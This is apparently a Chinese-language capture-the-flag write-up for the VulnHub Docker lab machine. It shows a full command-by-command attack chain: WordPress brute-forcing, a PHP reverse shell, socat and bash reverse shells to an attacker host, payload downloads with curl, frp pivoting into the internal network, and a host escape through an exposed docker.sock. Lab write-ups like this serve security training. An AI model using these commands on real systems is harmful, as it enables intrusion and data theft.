vulnerable_docker_containement 靶机
vulnerable_docker_containement靶机
PDF:Target-practice/A_靶机复现 at main · szjr123/Target-practice
靶机描述没什么用,大意就是介绍这是个靶机。
靶机下载链接:
https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova
有困难和简单两个模式
信息搜集
会直接给出IP:10.10.10.150

端口扫描:
nmap -p- --min-rate 1000 10.10.10.150

给出22和8000端口:
nmap -p22,8000 -Sc -A -Pn --min-rate 1000 10.10.10.150

经典wordpress
访问看看
GetShell
docker环境

/robots.txt

wordpress版本都不是很高

/wp-admin/admin-ajax.php有个CVE-2022-21661
试了一下发现不能用
端口扫描的时候出来了bob,后台挂一下爆破
python2 wpforce.py -i ../dict/user.txt -w ../dict/pass.txt -u "http://10.10.10.150:8000/wp-login.php"

登录进入后台
找到flag1

低版本直接上传shell就行
1、插件上传打包好的shell.zip
2、主题上传shell.php
3、修改主题404.php代码,访问特定的不存在 url(这个一般最简单)
4、修改header.php,执行恶意代码
kali自带:/usr/share/webshells/php/php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php ./lsvim php-reverse-shell.php
修改脚本


访问一个不知道的页面

反弹成功

没有python,不能用pty形成交互页面


可以升级nc、socat、script
攻击机:
# 首先下载(不要直接下/bin的,过去依赖没有)
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socatpython -m http.server 9999

# 执行
socat file:`tty`,raw,echo=0 tcp-listen:4444
靶机:
curl -O http://10.10.10.148:4444/socatchmod +x socat./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.148:4444

docker逃逸
验证一下docker环境:
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

传个linpeas.sh上去
curl http://10.10.10.148:9999/linpeas.sh -o linpeas.shchmod +x linpeas.sh./linpeas.sh
Linux version 3.13.0-128-generic (buildd@lgw01-39) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017


ip add

Ping命令查看存活主机
for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

端口探测
脚本:
------#!/bin/bashhosts=("172.18.0.1""172.18.0.2""172.18.0.3""172.18.0.4")END=65535for host in "${hosts[@]}"doecho "==============================="echo "Scanning $host"echo "==============================="for ((port=1;port<=END;port++))doecho "" > /dev/tcp/$host/$port && echo "Port $port is open"done 2>/dev/nulldone------
下载脚本
curl http://10.10.10.148:9999/port.sh -o port.shchmod +x port.sh./port.sh


代理访问,参考(使用frp配置内网访问(穿透)教程(超详细,简单)-CSDN博客):
curl -O http://10.10.10.148:9999/frpccurl -O http://10.10.10.148:9999/frpc.ini
frpc.ini

frps.ini


chmod +x frpc
攻击机:
./frps -c frps.ini

靶机:

看见success

修改文件
sudo gedit /etc/proxychains4.conf

proxychains nmap -sT -sV -Pn -n -p8022 172.18.0.2



再次反弹shell
bash -i >& /dev/tcp/10.10.10.148/9988 0>&1

/run目录下存在docker.sock文件,remote API未授权访问
参考:Docker Remote api在安全中的应用杂谈 - SecPulse.COM | 安全脉搏
换源,没有vim,echo写入
cat > /etc/apt/sources.list << 'EOF'deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverseEOF
安装docker
apt-get updateapt-get install docker.io

挂载宿主机的根目录到容器内
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
读取宿主机文件
cd /tmp/1/cat flag_3
